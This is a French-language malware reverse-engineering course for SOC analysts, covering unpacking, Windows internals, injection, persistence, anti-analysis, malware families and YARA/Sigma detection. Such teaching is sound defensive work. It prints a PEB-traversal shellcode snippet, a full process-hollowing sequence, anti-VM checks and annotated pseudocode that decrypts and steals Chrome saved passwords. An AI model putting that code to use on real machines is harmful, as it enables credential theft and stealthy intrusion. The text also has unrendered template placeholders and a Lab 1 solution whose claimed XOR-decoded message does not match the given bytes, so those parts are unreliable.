; Méthode ESP pour UPX et packers similaires
; 1. Ouvrir le fichier packé dans x64dbg
; 2. Tu es au début du stub du packer (EntryPoint)
; 3. Note la valeur de RSP dans le panneau registres
```

```
;    Ex : RSP = 0x0000007FFF_FECC (valeur arbitraire)

; 4. Dans la Stack view : clic droit sur la valeur pointée par RSP

;    → 'Breakpoint' → 'Hardware, Execute'

;    (Tu mets un Hardware BP en exécution SUR l'adresse de retour qui est sur la stack)

; 5. F9 → Run

;    Le packer décompresse en arrière-plan...

;    ...puis quand il fait son JMP final vers l'OEP, RIP passe par l'adresse de retour

;    → Hardware BP déclenché !

; 6. Vérifie que tu es à l'OEP

;    Les premières instructions devraient ressembler à du code non-stub

;    (pas les instructions LODS/STOS du décompresseur UPX)

;    Cherche le prologue standard : PUSH RBP / MOV RBP, RSP ou SUB RSP, X

; 7. Dump avec Scylla (plugin x64dbg intégré)

;    Plugins → Scylla

;    'IAT Autosearch' pour trouver l'IAT dans le binaire décompressé

;    'Get Imports' pour reconstruire la table d'imports

;    'Dump' pour sauvegarder l'image mémoire

;    'Fix Dump' pour corriger les offsets PE

; 8. Le fichier résultant est ton EXE dépacké, analysable dans Ghidra normalement
```

CHAPITRE 6

Windows Internals pour le Reverse Engineer

Comprendre le système d'exploitation de l'intérieur pour comprendre les malwares

6.1 Comment Windows charge et exécute un programme

Quand tu double-cliques sur un EXE, une séquence de plusieurs dizaines d'étapes se déroule avant que la première instruction de ton code s'exécute. Comprendre ce processus t'aide à comprendre pourquoi les malwares font ce qu'ils font.

Windows crée d'abord un objet processus en mémoire kernel. Ensuite, le loader Win32 (dans ntdll.dll) lit le PE header du fichier, mappe le fichier en mémoire à l'ImageBase (ou ailleurs si ASLR est actif), charge toutes les DLLs listées dans l'Import Directory, résout les adresses des fonctions importées (remplit l'IAT), exécute les TLS callbacks (avant l'EntryPoint !), et finalement saute à l'AddressOfEntryPoint.

Les TLS (Thread Local Storage) callbacks sont particulièrement importants pour les malwares. Ce sont des fonctions listées dans le TLS Directory du PE qui s'exécutent AVANT l'EntryPoint. Les anti-debug checks sont souvent placés dans des TLS callbacks : si le debugger est détecté, le malware quitte AVANT même d'atteindre le main(). Dans x64dbg, assure-toi que l'option 'Break on TLS' est activée.

6.2 Le PEB et TEB : la carte d'identité d'un processus

Le PEB (Process Environment Block) est une structure en mémoire user-mode qui contient des informations sur le processus courant. Elle est accessible depuis le user-mode via le registre GS:[0x60] (x64) ou FS:[0x30] (x86). Les malwares l'utilisent intensément — souvent pour éviter d'appeler GetModuleHandle().

Le champ le plus important pour toi en RE : {inline_code('Ldr')} (offset 0x18). C'est un pointeur vers une structure qui contient la liste de tous les modules chargés dans le processus. Les malwares utilisent cette liste pour trouver l'adresse de base de kernel32.dll sans appeler GetModuleHandle() (qui est hookée par certains AV). Si tu vois un accès à GS:[0x60] suivi de plusieurs déréférencements, il s'agit probablement d'une technique de résolution de modules via le PEB.

PEB Traversal — technique shellcode classique

```
; Technique classique : trouver kernel32.dll sans GetModuleHandle
; Technique 'PEB traversal' - vue dans beaucoup de shellcodes et malwares

; x64 version
mov RAX, GS:[0x60]          ; RAX = PEB
mov RAX, [RAX + 0x18]       ; RAX = PEB.Ldr
mov RAX, [RAX + 0x20]       ; RAX = Ldr.InMemoryOrderModuleList.Flink
```

```
                            ;       (1ère entrée = le processus lui-même)
mov RAX, [RAX]              ; Suivant (2ème entrée = ntdll.dll)
mov RAX, [RAX]              ; Suivant (3ème entrée = kernel32.dll)
mov RAX, [RAX + 0x20]       ; DllBase = adresse de base de kernel32.dll

; Maintenant RAX = adresse de base de kernel32.dll
; → Peut parser le PE de kernel32.dll pour trouver GetProcAddress
; → Puis utiliser GetProcAddress pour tout le reste

; Dans Ghidra/IDA, ce pattern est reconnaissable :
; accès à GS:0x60 → série de déréférencements → résultat utilisé comme handle DLL
; Le décompilateur Ghidra montre souvent : (code*)(__readgsqword(0x60) + 0x18)
```

6.3 Les WinAPI que les malwares adorent — expliquées en profondeur

Les APIs Windows sont la seule façon pour un programme user-mode d'interagir avec le système. Chaque API a une signature, des arguments typés, et une sémantique précise. Voici les APIs que tu dois connaître par cœur, avec leur usage malveillant expliqué.

VirtualAllocEx — allocation mémoire dans un autre processus

Signature : {inline_code('LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)')}. Utilisée seule, VirtualAllocEx est légitime (certains debuggers l'utilisent). C'est la combinaison avec WriteProcessMemory ET CreateRemoteThread qui constitue l'injection classique. Le flag {inline_code('PAGE_EXECUTE_READWRITE')} (0x40) est le plus suspect : il crée une zone mémoire qui est à la fois writable ET exécutable. Un programme légitime n'a presque jamais besoin de ça.

CreateRemoteThread — exécution dans un autre processus

Signature : {inline_code('HANDLE CreateRemoteThread(HANDLE hProcess, ..., LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ...)')}. Le paramètre {inline_code('lpStartAddress')} est l'adresse de la fonction qui va être exécutée comme nouveau thread dans le processus cible. Si ce paramètre pointe vers une adresse que le malware vient d'écrire avec WriteProcessMemory → injection de code confirmée.

NtCreateThreadEx — la version furtive

{inline_code('NtCreateThreadEx')} est l'équivalent kernel de CreateRemoteThread. Il fait la même chose mais bypass certains hooks user-mode que des produits de sécurité mettent sur CreateRemoteThread. Si tu vois un appel à {inline_code('NtCreateThreadEx')} via GetProcAddress dynamique, c'est un signe que le malware est conçu pour contourner les outils de détection.

CryptProtectData / CryptUnprotectData — le vol de mots de passe Chrome

DPAPI (Data Protection API) est le mécanisme de chiffrement de Windows lié au compte utilisateur. Chrome utilise DPAPI pour chiffrer les mots de passe et les cookies stockés localement. {inline_code('CryptUnprotectData')} déchiffre les données DPAPI. Pour que ça fonctionne, le malware doit tourner dans le contexte du même utilisateur. Voir cette API = probable vol de credentials Chrome/Edge/Brave.

La séquence complète pour voler les mots de passe Chrome : 1) Lire {inline_code('Local State')} en JSON → extraire {inline_code('encrypted_key')} (base64) → décoder → appeler {inline_code('CryptUnprotectData')} → obtenir la master key AES-256. 2) Ouvrir {inline_code('Login Data')} (SQLite) → {inline_code('SELECT * FROM logins')} → pour chaque mot de passe chiffré, déchiffrer avec la master key. Beaucoup d'infostealers modernes (RedLine, Lumma, Vidar) utilisent exactement cette séquence.

6.4 Les techniques d'injection — comment ça marche vraiment

Il y a une dizaine de techniques d'injection documentées. Je vais t'expliquer les plus importantes, pas juste les nommer, mais te montrer COMMENT elles fonctionnent pour que tu les reconnaisses dans le code.

Process Hollowing — la technique la plus furtive

L'idée du process hollowing est d'utiliser un processus légitime comme 'conteneur' pour du code malveillant. Le processus légitime (svchost.exe, explorer.exe) tourne, mais son code a été remplacé. Dans le gestionnaire de tâches, tu vois un processus légitime — mais il exécute le malware.

Process Hollowing — séquence détaillée

```
; Process Hollowing — séquence complète

; Étape 1 : Créer le processus légitime en mode SUSPENDU
; CreateProcess avec CREATE_SUSPENDED flag
; → Le processus est créé mais n'exécute aucun code (le thread principal est suspendu)

; Étape 2 : Unmapper le code légitime
; Appel via GetProcAddress → NtUnmapViewOfSection
; → Le PE original de svchost.exe est retiré de la mémoire du nouveau processus

; Étape 3 : Allouer de la mémoire pour le malware
; VirtualAllocEx dans le processus cible, à l'ImageBase du malware
; Taille = SizeOfImage du PE malveillant

; Étape 4 : Copier le PE malveillant section par section
; WriteProcessMemory pour le PE header
```

```
; WriteProcessMemory pour chaque section (.text, .data, .rsrc...)

; Étape 5 : Mettre à jour le contexte du thread suspendu

; GetThreadContext → modifier RIP pour pointer vers l'EntryPoint du malware

; SetThreadContext pour appliquer les modifications

; Étape 6 : Reprendre l'exécution

; ResumeThread → le thread suspendu reprend, mais exécute maintenant le malware

; Résultat vu par l'analyste sans RE :

; - Process Monitor : svchost.exe fait des connexions réseau suspectes

; - Task Manager : svchost.exe dans %APPDATA% au lieu de %SYSTEM32%

; - Process Hacker : chemin de l'image = C:\Windows\System32\svchost.exe

;   MAIS memory map montre une région 'Private' avec du code executable → anomalie
```

6.5 La persistence : comment un malware survit au reboot

La persistence est l'ensemble des mécanismes qui permettent à un malware de s'exécuter à nouveau après un redémarrage. C'est une phase critique : si tu détectes la persistence, tu peux nettoyer. Si tu rates la persistence, le malware reviendra après le nettoyage.

Les mécanismes de persistence sont classifiés par MITRE ATT&CK; sous la tactique 'Persistence'. Les plus courants que tu verras dans ton SIEM :

Run Key (T1547.001)	`HKCU/HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` Le plus commun. Créé via RegSetValueExW. Détectable via ProcMon et les logs registry du SIEM.
Startup Folder (T1547.001)	`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` Copie ou raccourci dans le dossier Startup. Simple, détectable par monitoring de ce répertoire.
Scheduled Task (T1053.005)	`schtasks /create ou CreateScheduledTask via API COM` Tâche planifiée. Plus discret que Run Key, exécutable avec des privilèges SYSTEM si escalade réussie.
Service (T1543.003)	`HKLM\SYSTEM\CurrentControlSet\Services ou CreateService API` Requiert admin. Survit à tous les redémarrages. Très utilisé par les APTs.
DLL Hijacking (T1574.001)	`DLL placée dans un répertoire prioritaire sur le search path` Le malware place une DLL malveillante dans %APPDATA% avec le nom d'une DLL que charge un programme légitime.
COM Hijacking (T1546.015)	`HKCU\Software\Classes\CLSID\{...}\InprocServer32` Enregistre un CLSID malveillant dans HKCU. S'exécute quand une application COM charge ce CLSID.

WMI Subscription (T1546.003)	`WMI Event Subscription via PowerShell ou WMI API` Persistence fileless, sans fichier sur disque. Très difficile à détecter sans monitoring WMI dédié.
AppInit_DLLs (T1546.010)	`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppInit_DLLs` DLL chargée dans tous les processus qui chargent User32.dll. Requiert admin. Très bruteforcé et visible.

CHAPITRE 7

Obfuscation et Anti-Analyse

Les techniques que les malwares utilisent pour freiner ton analyse — et comment les contourner

7.1 Les packers : comprendre la décompression

Un packer fait deux choses : compresser/chiffrer le PE original, et y ajouter un stub qui décompressera/déchiffrera le PE original en mémoire à l'exécution. Du point de vue de l'antivirus signature-based, le fichier sur disque est 'propre' (les signatures du malware sont dans le PE chiffré, pas dans le stub). C'est pourquoi les AV signature-based ont du mal avec les malwares packés.

UPX est le packer le plus commun parce qu'il est simple, gratuit, et les auteurs de malwares l'utilisent plus par habitude que par efficacité (tous les AV le détectent maintenant). Les packers custom sont beaucoup plus problématiques — ils utilisent des algorithmes de compression ou de chiffrement maison, parfois avec des clés dérivées du timestamp ou du nom de machine.

Le signal principal d'un fichier packé : l'entropie. Une section .text avec 7.8 bits/byte d'entropie = le code est chiffré. Mais même l'entropie ne suffit plus pour certains packers modernes qui utilisent des algorithmes de compression qui réduisent l'entropie apparente.

7.2 Anti-debug : quand le malware te détecte

Les techniques anti-debug ont pour but de faire que le malware se comporte différemment quand il est analysé. Ça peut signifier : sortir silencieusement, changer de comportement (afficher un comportement légitime), ou crasher pour frustrer l'analyste.

IsDebuggerPresent — le classique

Cette fonction lit simplement le byte {inline_code('BeingDebugged')} à l'offset 2 du PEB. Quand x64dbg est attaché, Windows met ce byte à 1. Bypass trivial : dans x64dbg, va à l'adresse du PEB (montrée dans la Memory Map), offset +2, et change la valeur de 1 à 0. Ou utilise le plugin ScyllaHide qui le fait automatiquement au démarrage.

Timing attacks — détecter la lenteur du debugging

L'idée : mesure le temps d'exécution d'un bloc de code avec {inline_code('QueryPerformanceCounter')} ou {inline_code('RDTSC')}. En exécution normale → quelques microsecondes. Avec un debugger qui traite les breakpoints → beaucoup plus lent. Si le delta est trop grand → le malware sait qu'il est debuggé.

Bypass : ScyllaHide intercepte QueryPerformanceCounter et RDTSC, et retourne des valeurs qui simulent une exécution normale. Ou tu peux patcher les JNZ qui suivent le check de timing.

Exception-based anti-debug

Une technique plus subtile : provoquer volontairement une exception (INT3, division par zéro, accès mémoire invalide). En exécution normale, le SEH (Structured Exception Handler) du programme gère l'exception. En présence d'un debugger, celui-ci intercepte l'exception avant le SEH. Le malware sait donc qu'un debugger est présent si son SEH n'est pas appelé. Bypass : dans x64dbg, Options → Exceptions, passe l'exception au programme (Shift+F9 au lieu de F9).

7.3 Anti-VM et anti-sandbox

Contrairement aux anti-debug qui détectent un debugger en temps réel, les anti-VM vérifient des artefacts persistants de l'environnement de virtualisation. Ces vérifications se font généralement au début de l'exécution.

Les malwares modernes vérifient souvent plusieurs éléments et calculent un score. Si le score dépasse un seuil → probablement une sandbox → comportement différent. Voici les vérifications les plus courantes que tu trouveras dans le code :

Anti-VM checks — code annoté et bypasses

```
// Anti-VM checks typiques en pseudocode Ghidra

bool is_vm() {
    // Check 1 : Processus suspects d'analyse
    const char *analysis_procs[] = {
        'x64dbg.exe', 'wireshark.exe', 'procmon.exe',
        'ida.exe', 'ghidra.exe', 'ollydbg.exe'
    };
    if (any_process_running(analysis_procs)) return true;

    // Check 2 : Registry VMware
    if (reg_key_exists('SOFTWARE\\VMware, Inc.\\VMware Tools')) return true;
    if (reg_key_exists('HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0
\\Logical Unit Id 0\\Identifier')) {
        // Vérifie si la valeur contient 'VBOX' ou 'VMWARE'
    }

    // Check 3 : Devices VMware/VirtualBox
    if (CreateFile('\\\\.\\VBoxMiniRdrDN') != INVALID_HANDLE_VALUE) return true;
    if (CreateFile('\\\\.\\HGFS') != INVALID_HANDLE_VALUE) return true;

    // Check 4 : Resources machine insuffisantes
    MEMORYSTATUSEX ms; GlobalMemoryStatusEx(&ms);
    if (ms.ullTotalPhys < 2048*1024*1024) return true;  // < 2 Go RAM

    SYSTEM_INFO si; GetSystemInfo(&si);
```

```
    if (si.dwNumberOfProcessors < 2) return true;  // < 2 CPUs

    // Check 5 : Disque dur trop petit
    ULARGE_INTEGER free, total;
    GetDiskFreeSpaceEx('C:\\', &free, &total, NULL);
    if (total.QuadPart < 50ULL*1024*1024*1024) return true;  // < 50 Go

    // Check 6 : Pas d'activité utilisateur (souris)
    LASTINPUTINFO lii; lii.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&lii);
    DWORD idle_ms = GetTickCount() - lii.dwTime;
    if (idle_ms < 60000) return false;  // Attend 1 minute d'inactivité

    return false;
}

// Pour chaque check, le bypass correspond :
// - Processus : ferme les outils ou renomme leurs exécutables
// - Registry : utilise des VM images qui n'ont pas les keys VMware
// - Devices : supprime/renomme les drivers virtuels
// - RAM/CPU : augmente les resources dans les settings VM
// - Disque : augmente la taille du disque VM
// - Souris : script qui bouge la souris aléatoirement
```

CHAPITRE 8

Familles de Malwares — Reconnaître et Analyser

Les patterns spécifiques à chaque type de malware — identifier en quelques minutes

8.1 Méthodologie : identifier la famille en 5 minutes

La clé pour un analyste SOC est d'identifier le type de malware rapidement, pas de faire une analyse exhaustive à chaque fois. Voici un arbre de décision qui te permet d'identifier la famille en 5 minutes :

Imports + strings → type de malware : VirtualAllocEx + WriteProcessMemory + CreateRemoteThread → injecteur. InternetOpen + CryptUnprotectData + sqlite3 → infostealer. BCryptEncrypt + FindFirstFile + vssadmin → ransomware. recv/send en boucle + CreateProcess cmd.exe → RAT. Peu d'imports + beaucoup de GetProcAddress + LoadLibrary + entropie haute → loader/dropper.

8.2 Ransomware : du chiffrement à la clé

Un ransomware a un objectif simple mais une implémentation qui peut être très sophistiquée. Comprendre le schéma cryptographique est crucial : si le chiffrement est mal implémenté, une récupération est possible.

Le schéma crypto classique : asymétrique + symétrique hybride. L'attaquant génère une paire RSA (publique/privée) et embarque la clé publique dans le malware. Pour chaque fichier, le malware génère une clé AES-256 aléatoire, chiffre le fichier avec AES, chiffre la clé AES avec la clé RSA publique (donc seul l'attaquant peut déchiffrer la clé AES), et stocke la clé AES chiffrée avec le fichier (dans un header ou comme extension).

Pour un analyste : si tu arrives pendant le chiffrement ou juste après, les clés AES individuelles sont peut-être encore en mémoire. Un dump de la mémoire du processus ransomware + une recherche de patterns AES (des buffers de 32 bytes avec haute entropie) peut récupérer des clés. C'est une race contre la montre — ces clés sont généralement effacées de la mémoire après usage.

IOCs critiques pour la réponse à incident

- Nom des fichiers de note de rançon (README.txt, !!DECRYPT!!.txt, RESTORE_FILES.html) — créés dans chaque dossier
- Extension d'encryption (.locked, .RYUK, .CONTI, .pay2key...) — tous les fichiers chiffrés ont cette extension
- Nom du mutex (évite la double infection) — IOC stable par famille, souvent dans les strings du binaire

- Commandes anti-recovery dans les logs Sysmon/Defender : vssadmin, wbadmin, bcdedit /set
- Processus tués avant chiffrement : taskkill avec processus de DB, Office, sauvegarde
- Adresse onion dans les strings (site de paiement Tor)
- Email de contact (souvent @protonmail.com ou @tutanota.com pour les petits groupes)
- Clé publique RSA hardcodée (parfois visible dans les strings ou en .rdata)

8.3 Infostealer : Chrome, wallets et credentials

Les infostealers sont devenus l'une des menaces les plus actives. Leur objectif : voler credentials, sessions, crypto wallets. La plupart sont 'as-a-service' : l'auteur loue le malware, le 'client' (affiliate) l'utilise pour les campagnes et envoie les logs au panel de l'auteur.

Reconnaître un infostealer dans Ghidra : cherche les chemins Chrome dans les strings. Si tu vois {inline_code('Login Data')}, {inline_code('Cookies')}, {inline_code('Web Data')}, {inline_code('Local State')} → c'est un infostealer. Cherche aussi {inline_code('Electrum')}, {inline_code('wallets')}, les noms d'extensions MetaMask → vol de crypto wallets.

Anatomie de la fonction de vol Chrome

Infostealer — vol Chrome annoté en détail

```
// Pseudocode Ghidra — vol de mots de passe Chrome
// Nettoyé et annoté pour la compréhension

void steal_chrome_passwords(StealerContext *ctx) {
    wchar_t chrome_path[MAX_PATH];

    // Construire le chemin vers les données Chrome
    SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chrome_path);
    // chrome_path = C:\Users\User\AppData\Local
    wcscat(chrome_path, L'\\Google\\Chrome\\User Data\\');

    // ÉTAPE 1 : Obtenir la master key DPAPI depuis Local State
    wchar_t local_state_path[MAX_PATH];
    wcscpy(local_state_path, chrome_path);
    wcscat(local_state_path, L'Local State');

    // Lire le JSON Local State
    char *json_content = read_file(local_state_path);
    // Parser : 'encrypted_key' dans 'os_crypt'
    char *b64_key = json_get_string(json_content, '$.os_crypt.encrypted_key');

    // Décoder base64 → DPAPI encrypted key
    BYTE dpapi_key[256];
    int key_len = base64_decode(b64_key, dpapi_key);
```

```
    // Les 5 premiers bytes sont 'DPAPI' (marker) → skip

    // Appel DPAPI pour déchiffrer la master key
    DATA_BLOB input = {key_len - 5, dpapi_key + 5};
    DATA_BLOB output;
    CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output);
    BYTE *master_key = output.pbData;  // 32 bytes = clé AES-256

    // ÉTAPE 2 : Voler les mots de passe depuis Login Data
    wchar_t logins_path[MAX_PATH];
    wcscpy(logins_path, chrome_path);
    wcscat(logins_path, L'Default\\Login Data');

    // Copier la DB (Chrome la verrouille si ouvert)
    CopyFileW(logins_path, L'C:\\Temp\\ldata', FALSE);

    // Ouvrir SQLite et requêter
    sqlite3 *db;
    sqlite3_open('C:\\Temp\\ldata', &db);
    sqlite3_exec(db,
        'SELECT origin_url, username_value, password_value FROM logins',
        callback_steal_row, ctx, NULL);

    // callback_steal_row pour chaque ligne :
    //   - password_value[0:3] = 'v10' ou 'v11' (version du chiffrement)
    //   - password_value[3:15] = IV (nonce AES-GCM 12 bytes)
    //   - password_value[15:] = ciphertext + tag AES-GCM
    //   AES-256-GCM decrypt avec master_key + IV → plaintext password
}

// IOCs extraits de cette fonction :
// - Accès à %LOCALAPPDATA%\Google\Chrome\User Data\Local State
// - Accès à %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
// - CryptUnprotectData avec un buffer provenant d'un fichier Chrome
// - Création de fichier temp dans C:\Temp ou %TEMP%
```

8.4 RAT : anatomie d'un accès distant

Un RAT est essentiellement un serveur d'administration distante malveillant. Il y a une boucle de réception de commandes qui tourne en permanence, avec des gestionnaires pour chaque commande supportée.

La clé pour reconnaître un RAT dans Ghidra : une fonction qui contient un {inline_code('recv()')} ou {inline_code('HttpOpenRequest()')} en boucle, suivie d'un {inline_code('switch()')} ou {inline_code('if/else if')} sur une valeur reçue, avec des appels à CreateProcess, GetFiles, Screenshot selon la commande. C'est le dispatcher de commandes — c'est le cœur du RAT.

Pour les RATs modernes qui utilisent HTTP/HTTPS (plus furtifs que TCP brut), le beacon (envoi de signal 'je suis vivant' + réception de commandes) ressemble à une requête HTTP GET vers {inline_code('/check.php?id=MACHINE_ID')} avec une réponse JSON contenant la prochaine commande. Cherche ce pattern dans le trafic FakeNet-NG.

CHAPITRE 9

Du Malware au Rapport SOC

Transformer l'analyse technique en intelligence actionnable pour ton équipe

9.1 Workflow complet d'analyse

Un workflow rigoureux est la différence entre une analyse reproductible et professionnelle et une exploration aléatoire. Voici le workflow que tu dois systématiser :

Phase 1 — Triage (15 min max)

Hash, VT, DIE, FLOSS, PE analysis. Décision de stratégie. Écriture du premier résumé : 'ce fichier semble être [type] qui [comportement estimé]'

Phase 2 — Analyse statique (30 min à 2h)

Ghidra : EntryPoint → flow global → fonctions clés → extraction config. Annotation en temps réel. IOCs extraits.

Phase 3 — Analyse dynamique (si nécessaire, 30 min à 1h)

VM sandboxée, ProcMon + FakeNet lancés. x64dbg si obfusqué. Confirmation des hypothèses statiques. Capture du trafic réseau.

Phase 4 — Documentation et IOCs (30 min)

Validation de tous les IOCs. MITRE mapping. Règles YARA et Sigma. Rapport.

9.2 Extraire et valider les IOCs

Un IOC (Indicator of Compromise) est un artefact observable qui indique une compromission. La qualité d'un IOC se mesure à deux axes : la précision (combien de FP génère-t-il ?) et la durabilité (combien de temps reste-t-il valide ?). Un hash SHA256 est très précis (0 FP si correct) mais peu durable (recompilation change le hash). Un domaine C2 est moins précis (peut être partagé entre campagnes) mais plus durable.

Avant d'ajouter un IOC dans ton SIEM, valide-le. Un IP ou domaine qui apparaît dans les strings du malware est un IOC candidat. Avant de le pousser : vérifie que c'est pas une adresse légitime (google.com apparaît dans certains malwares pour le check de connectivité). Vérifie sur VT, Shodan, VirusTotal graph. Documente la confiance : HIGH (vu en dynamique avec connexion effective), MEDIUM (présent dans les strings), LOW (déduit de l'analyse).

9.3 Écrire des règles YARA efficaces

Une règle YARA décrit les caractéristiques d'un malware ou d'une famille de malwares. Elle s'applique sur des fichiers ou sur la mémoire. Une bonne règle YARA est spécifique (peu de FP), sensible (détecte aussi les variantes), et documentée (trace vers l'analyse qui l'a produite).

Les meilleures strings pour une règle YARA sont celles qui sont : uniques à la famille (pas dans des programmes légitimes), stables entre variantes (pas le hash ou des offsets), et présentes dans les fichiers non-packés (ou utilise {inline_code('$str at pe.entry_point')} pour cibler le stub du packer).

Règle YARA — structure et bonnes pratiques

```
// Règle YARA bien structurée — exemple commenté

rule Infostealer_ChromeStealer_v2 {

    meta:

        author      = "SOC Team"

        date        = "2025-04-16"

        description = "Détecte la variante v2 de ChromeStealer basé sur les patterns de
 vol DPAPI"

        reference   = "Analyse REF-2025-042, hash SHA256 ABC123..."

        tlp         = "AMBER"

        score       = 85  // Sur 100, confiance dans la détection

    strings:

        // Séquence spécifique au vol DPAPI Chrome

        $dpapi_seq = { 44 50 41 50 49 }

        // "DPAPI" en bytes - header de la clé chiffrée

        // Chemin SQLite Login Data

        $chrome_db = "Login Data" wide nocase

        // Requête SQL caractéristique

        $sql = "SELECT origin_url, username_value, password_value" nocase

        // Version du chiffrement Chrome v10/v11

        $chrome_enc_v = { 76 31 }  // "v1" -> "v10" ou "v11"

        // User-Agent hardcodé de cette famille

        $ua = "Chrome/98.0.4758.109" ascii wide

        // Mutex de la famille

        $mutex = "Global\\chrome_steal_v2_mutex" wide

    condition:

        uint16(0) == 0x5A4D          // Fichier PE (MZ header)

        and filesize < 10MB           // Pas les gros installers

        and (
```

```
            ($dpapi_seq and $chrome_db and $sql)
            or ($ua and $mutex)
        )
}

// Commandes pour tester la règle :
// yara64.exe -r regle.yar C:\Users\          (scan récursif)
// yara64.exe -p 16 regle.yar --pid 1234      (scan processus en mémoire)
// yara64.exe regle.yar sample.exe            (scan fichier unique)
```

9.4 Écrire des règles Sigma pour le SIEM

Sigma est le standard de détection SIEM indépendant de la plateforme. Une règle Sigma se convertit vers Splunk, Elastic, QRadar, Sentinel et d'autres via l'outil {inline_code('sigma-cli')} (anciennement sigmac). Ça te permet d'écrire une règle une fois et de la déployer partout.

Règle Sigma — Chrome credential theft

```
# Règle Sigma — Infostealer accès base Chrome

title: Potential Chrome Credential Theft via Login Database Access
id: f1a2b3c4-d5e6-7890-abcd-ef1234567890
status: stable
description: |
    Détecte un accès à la base de données Login Data de Chrome par un processus
    non standard. Chrome légitime accède lui-même à ce fichier, pas d'autres processus.
author: SOC Team
date: 2025/04/16
references:
    - https://attack.mitre.org/techniques/T1555/003/
    - internal://REF-2025-042
tags:
    - attack.credential_access
    - attack.t1555.003

logsource:
    category: file_access
    product: windows

detection:
    selection_path:
        TargetFilename|contains:
```

```
            - "\Google\Chrome\User Data\Default\Login Data"
            - "\Edge\User Data\Default\Login Data"
            - "\Brave-Browser\User Data\Default\Login Data"
    filter_legitimate:
        Image|endswith:
            - "\chrome.exe"
            - "\msedge.exe"
            - "\brave.exe"
            - "\GoogleUpdate.exe"
    condition: selection_path and not filter_legitimate
falsepositives:
    - Outils de synchronisation de profil Chrome légitimes
    - Certains outils de backup
    - Tests de sécurité internes
level: high
# Conversion vers Splunk :
# sigma-cli convert -t splunk regle.yml
# Résultat : (TargetFilename="*\Google\Chrome\User Data\Default\Login Data*")
#            NOT (Image="*\chrome.exe" OR Image="*\msedge.exe")
```

9.5 Mapper sur MITRE ATT&CK;

MITRE ATT&CK; est le framework de référence pour décrire les techniques des adversaires. Mapper tes analyses sur ATT&CK; te permet de communiquer de façon standard avec ton équipe, d'enrichir tes rapports, et d'identifier les gaps de détection dans ton SIEM.

Pour chaque comportement identifié dans ton analyse, cherche la technique ATT&CK; correspondante. Utilise l'outil MITRE ATT&CK; Navigator (https://mitre-attack.github.io/attack-navigator/) pour visualiser la couverture d'un malware. Ça donne une vue immédiate des tactiques utilisées — utile pour les briefs direction ou les post-mortems.

Techniques ATT&CK; fréquentes en analyse malware EXE

MITRE ATT&CK; — mapping des techniques communes

```
Comportement observé                → Technique ATT&CK
═══════════════════════════════════════════════════════════════
Process Injection (CRT + WPM + VAllocEx) → T1055.001 / T1055.002 / T1055.012
Process Hollowing                   → T1055.012
DLL Injection classique             → T1055.001
```

```
Run Key registry                    → T1547.001
Scheduled Task                      → T1053.005
Service creation                    → T1543.003
Chrome credential theft (DPAPI)     → T1555.003
Keylogger (SetWindowsHookEx)        → T1056.001
Screenshot (BitBlt)                 → T1113
HTTP C2                             → T1071.001
DNS C2                              → T1071.004
XOR/AES encryption (string obfusc)  → T1027
UPX / Custom packer                 → T1027.002
Anti-debug (IsDebuggerPresent)      → T1622
Anti-VM checks                      → T1497
vssadmin delete shadows             → T1490
File encryption (ransomware)        → T1486
Network recon (GetAdaptersInfo)     → T1016
System info (GetComputerName etc.)  → T1082
File/dir enumeration (FindFirstFile) → T1083
Credential access (CryptUnprotect)  → T1555
```

CHAPITRE 10

Labs et Exercices Progressifs

Apprendre en faisant — du premier Hello World à l'analyse d'un vrai sample

10.1 Lab 1 — Premier RE guidé pas à pas

Ce premier lab a un objectif précis : te faire analyser un programme dont tu connais le source MAIS comme si tu ne le connaissais pas. C'est la façon la plus pédagogique d'apprendre : tu vérifies tes conclusions en relisant le source.

Étape 1 : Compiler le programme source

Lab 1 — Code source C

```c
// lab1.c — Programme à compiler et analyser
#include <windows.h>
#include <stdio.h>

// Fonction de 'chiffrement' simple
void xor_string(char *s, int len, char key) {
    for (int i = 0; i < len; i++) s[i] ^= key;
}

// Vérification d'un code d'activation
int check_license(const char *code) {
    const char *expected = "SECURE_KEY";
    return strcmp(code, expected) == 0;
}

int main() {
    char msg[] = {0x0E,0x0A,0x06,0x06,0x56,0x0A,0x0D,0x0F,0x0A,0x56,0x13,0x0C,0x0F};
    xor_string(msg, 13, 0x61);  // Clé XOR = 0x61 = 'a'
    printf("%s\n", msg);      // Affiche le message déchiffré

    char input[64];
    printf("License code: ");
    scanf("%63s", input);
    if (check_license(input)) {
        printf("Valid license!\n");
        MessageBoxW(NULL, L"Access granted", L"License Check", MB_OK);
    } else {
```

```
        printf("Invalid license.\n");
    }
    return 0;
}

// Compilation MinGW dans ta VM :
// gcc lab1.c -o lab1.exe
// Compilation MSVC :
// cl lab1.c /Fe:lab1.exe
```

Étape 2 : Questions auxquelles tu dois répondre SANS regarder le source

Q1. Quel est le message affiché par le programme ? (Cherche la boucle XOR et la clé)

Q2. Quel est le code de licence correct ?

Q3. Comment patcher le binaire pour que n'importe quel code soit accepté ?

Q4. Où est le MessageBoxW ? Quels sont ses 4 arguments ?

Q5. Combien de fonctions différentes Ghidra reconnaît-il dans ce programme ?

Étape 3 : Solutions commentées

Lab 1 — Solutions

```
// Q1 : Quel est le message affiché ?
// Dans Ghidra, tu trouves l'appel à xor_string dans main()
// Le tableau msg[] est visible en .rdata ou initialisé en .data
// Tu vois le tableau de bytes : {0x0E, 0x0A, 0x06, 0x06, ...}
// La clé XOR = 0x61 est visible directement dans le CALL à xor_string
// Calcul : 0x0E ^ 0x61 = 0x6F = 'o', 0x0A ^ 0x61 = 0x6B = 'k', etc.
// Message : XOR chaque byte avec 0x61 → 'ok, try harder!'

// Q2 : Code de licence correct ?
// Dans la fonction check_license, tu vois un strcmp avec une string
// La string est dans .rdata : 'SECURE_KEY'
// Code correct = 'SECURE_KEY'

// Q3 : Patcher pour accepter n'importe quel code
// check_license retourne 1 si strcmp == 0, 0 sinon
